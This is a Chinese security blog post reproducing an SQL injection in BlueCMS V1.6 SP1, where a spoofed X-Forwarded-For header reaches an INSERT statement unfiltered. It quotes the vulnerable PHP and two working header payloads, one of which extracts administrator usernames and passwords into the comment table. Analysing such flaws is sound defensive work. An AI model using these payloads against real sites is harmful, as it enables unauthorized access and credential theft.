伪造X-Forwarded-For的攻击实例

一颗小胡椒2022-06-25 22:39:07

前言

BlueCMS是一款国产的CMS平台,十分灵活、方便,早些年广泛的应用于商业系统、个人博客等。在使用getip()函数获取ip时没有严格过滤,导致sql注入。

影响范围:

BlueCMS V1.6 SP1

通过伪造X-Forwarded-For进行SQL注入漏洞,攻击者可以直接获取数据库中管理员的账号密码或其他信息,进一步获取Webshell,甚至危及服务器的安全。

漏洞复现

漏洞出现在`comment.php`


elseif($act == 'send')
{
......
$sql = "INSERT INTO ".table('comment')." (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check)VALUES ('', '$id', '$user_id', '$type', '$mood', '$content', '$timestamp', '".getip()."', '$is_check')"; 
$db->query($sql);

在上面的代码中,构造了一个查询语句,将其赋给$sql变量,然后直接执行而不进行任何筛选。可以看到,在sql语句中,有一个getip的值,这个变量是用户可控的。

接下来,搜索找到getip的位置,位于 /include/common.fun.php,代码如下所示:


/**
  * 获取用户IP
*/
function getip(){
    if (getenv('HTTP_CLIENT_IP')){
        $ip = getenv('HTTP_CLIENT_IP'); 
    }elseif (getenv('HTTP_X_FORWARDED_FOR')) { 
        //获取客户端用代理服务器访问时的真实ip 地址
        $ip = getenv('HTTP_X_FORWARDED_FOR');
    }elseif (getenv('HTTP_X_FORWARDED')) { 
        $ip = getenv('HTTP_X_FORWARDED');
    }elseif (getenv('HTTP_FORWARDED_FOR')){
        $ip = getenv('HTTP_FORWARDED_FOR'); 
    }elseif (getenv('HTTP_FORWARDED')){
        $ip = getenv('HTTP_FORWARDED');
    }else{ 
        $ip = $_SERVER['REMOTE_ADDR'];
    }
    return $ip;
}

$ip 的值从 HTTP_CLIENT_IP、HTTP_X_FORWARDED_FOR 等变量中获得,HTTP_CLIENT_IP 这个环境变量没有成标准,很多服务器没法获取。而第二个 HTTP_X_FORWARDED_FOR 可以通过 HTTP 请求头来修改

上面代码首先从环境变量中获取用户的IP,如果IP正常获取则正常返回,如果不存在则客户端通过代理服务器访问时获取IP,如果仍然不存在,它继续取 X_FORWARDED_FOR的值。

可以看出,这里的代码并没有做任何处理,直接取值,然后把得到的值带入Getip,这样我们就可以伪造X_FORWARDED_FOR,构造恶意语句,注入获取敏感数据库信息。

再结合`comment.php`的`$db->query($sql);`来看,函数的值没有过滤直接插入到了SQL语句中,存在SQL注入。

在正常的TCP/IP通信中,可以伪造数据包的源IP,但这会使发送的数据包返回伪造的IP,无法正常通信。

在 TCP/IP 层级很难实现伪造,因为很难实现正常的 TCP 连接;但是,在应用层协议 HTTP 上更容易实现。通过伪造IP,可以欺骗大多数服务器应用程序进行通信。对于绕过服务器的IP地址过滤或伪造源IP特别有用,其后果是未经授权的IP可以访问服务器,甚至可以利用服务器的漏洞。

X-Forwarded-For 请求头格式:

 X-Forwarded-For: client, proxy1, proxy2

如果服务器使用 X-Forwarded-For 中的地址(而不是远程地址)作为用户的 IP 地址来实现 IP 地址过滤,那么用户通过伪造 X-Forwarded-For 来获取权限。

利用此漏洞,从comment.php代码中,可以推断出SQL注入发生在评论文章的地方。模拟文章发表时存在小问题,发布文章时必须选择新闻类别,但管理员和普通用户都不能创建分类,因此必须注释掉限制分类不能为空的代码。

限制分类不能为空的代码是前端的JavaScript代码


elseif($act == 'do_add_news'){
include_once 'include /upload.class.php ' ;
$image =new upload () ;
$title = !empty ($_PoST [ 'title']) ? htmlspecialchars (trim($_POST [ 'title' ]);
$color = !empty($_PosT [ 'color']) ? htmlspecialchars (trim($_PoST [ ' color' ]);
$cid = !empty($_POST [ 'cid ']) ? intval($_POST [ 'cid ' ]): '';
//if(empty ($cid)){
//  showmsg('新闻分类不能为空');
//}
}

在发布新闻先评论测试一下,看一下数据表记录的字段默认值,回显的位置是在`content字段`中,所以可以构造X-Forwarded-For值注入,先补充前面查询的`ip`和`is_check`字段完成第一次插入,然后再构造第二次插入,注意关闭原始语句中的单引号。

X-Forwarded-For: 1','1' ),("",'2','2','1','6',(database()),'1','1
X-Forwarded-For: 1','1' ),("",'2','2','1','6',(select concat(admin_name,":",pwd) from blue_admin),'1','1

原来的语句变为了


$sql = INSERT INTO ".table('blue_comment')." (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check)
  VALUES ('', '$id', '$user_id', '$type', '$mood', '$content', '$timestamp', '1','1'),('','2','2','1','6',(select concat(admin_name,':',pwd) from blue_admin),'1','1', '$is_check')";

原来的语句从中间被断开,前后引号闭合,查询数据库的账号密码并输出到评论之中,注入成功

总结

在BlueCMS1.6 SQL注入漏洞中构造的payload是使用的闭合insert语句,将敏感数据插入到评论表方法。SQL注入漏洞获取的HTTP_X_FORWARDED_FOR字段对应HTTP请求头中的X_Forwarded_For字段。

HTTP请求中,X-Forwarded代表用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段,利用insert 语句插入多条数据,然后再通过select 读取插入的数据将盲注转换成显示注入的。

getenv
本作品采用《CC 协议》,转载必须注明作者和本文链接
AFL源码浅析
2022-10-26 09:54:13
前言AFL是一款著名的模糊测试的工具,最近在阅读AFL源码,记录一下,方便以后查阅。编译项目:将编译的优化选项关闭,即改写成-O01afl-gcc.c使用gdb加载afl-gcc,并使用set arg -o test test.c设置参数2find_as函数?find_as函数首先会通过AFL_PATH环境变量的值从而获得AFL对应的路径?若上述环境变量不存在则获取当前afl-gcc所在的文件路径?判断该路径下的as文件是否具有可执行权限u8?//函数用来判断指定的文件或目录是否有可执行权限,若指定方式有效则返回0,否则返回-1
AFL 源代码速通笔记
2023-04-24 09:22:40
AFL 作为一个现在仍然适用且比较经典的 fuzzer,笔者打算从它开始。先说结论,这一步的目的其实是为了向代码中插桩,完成插桩后其实还是调用原生的 gcc 进行编译。其实这个描述有些偏颇,插桩其实是 afl-as 负责的,不过在这里,笔者将 afl-gcc 和 afl-as 放到同一节,因此用了这样的表述,下文会具体分析 afl-as 的原理。
@roguesys 在 2022 年 2 月发布公告称,dyld 的代码已经被更新,传递给 NSLinkModule 的任何模块都将会被写入到一个临时的位置中。作为一个红队队员,这对于我们的渗透工作并没有好处。毕竟,NSLinkModule一个非常有用的api函数,这个函数可以使得我们的有效载荷不被蓝队轻易的发现。NSLinkModule有何与众不同由于dyld是开源的,我们可以深入研究一下经常使用的NSLinkModule方法的工作原理。
在cgiHandler函数中,将用户的HTTP请求参数作为环境变量,通过诸如LD_PRELOAD即可劫持进程的动态链接库,实现远程代码执行。代码首先拼接出用户请求的cgi完整路径并赋予cgiPath,然后检查此文件是否存在以及是否为可执行文件。随后代码将cgiPath、envp、stdIn与stdOut作为参数传入launchCgi函数中。
巧解一道CTF Android题
2022-08-10 16:15:40
无须还原代码,穷举爆破。我们打开jeb工具,定位到当前activity。我们看一下saveSN方法,可以看到这是一个native方法。我们解包一下apk,获取到so文件。下面进入ida分析。导出函数并没有相关java的native方法,说明是动态注册。我们看下JNI_ONLOAD函数:jint JNI_OnLoad{ if ( !
前言BlueCMS是一款国产的CMS平台,十分灵活、方便,早些年广泛的应用于商业系统、个人博客等。在使用getip()函数获取ip时没有严格过滤,导致sql注入。
主要的环境准备参见上一篇文章,这里介绍本篇文章中会用的的模拟工具以及另一个静态分析工具。
[VNCTF2022]gocalc0复现
2022-05-07 16:02:38
看雪论坛作者ID:H3h3QAQ
php中的disable_function是EG(ini_directives)来获得的,而phpinfo根据 EG(ini_directives) 中获取信息并打印。
近日,国家计算机病毒应急处理中心对名为“NOPEN”的木马工具进行了攻击场景复现和技术分析。该木马工具针对Unix/Linux平台,可实现对目标的远程控制。根据“影子经纪人”泄露的NSA内部文件,该木马工具为美国国家安全局开发的网络武器。“NOPEN”木马工具是一款功能强大的综合型木马工具,也是美国国家安全局接入技术行动处(TAO)对外攻击窃密所使用的主战网络武器之一。
一颗小胡椒
暂无描述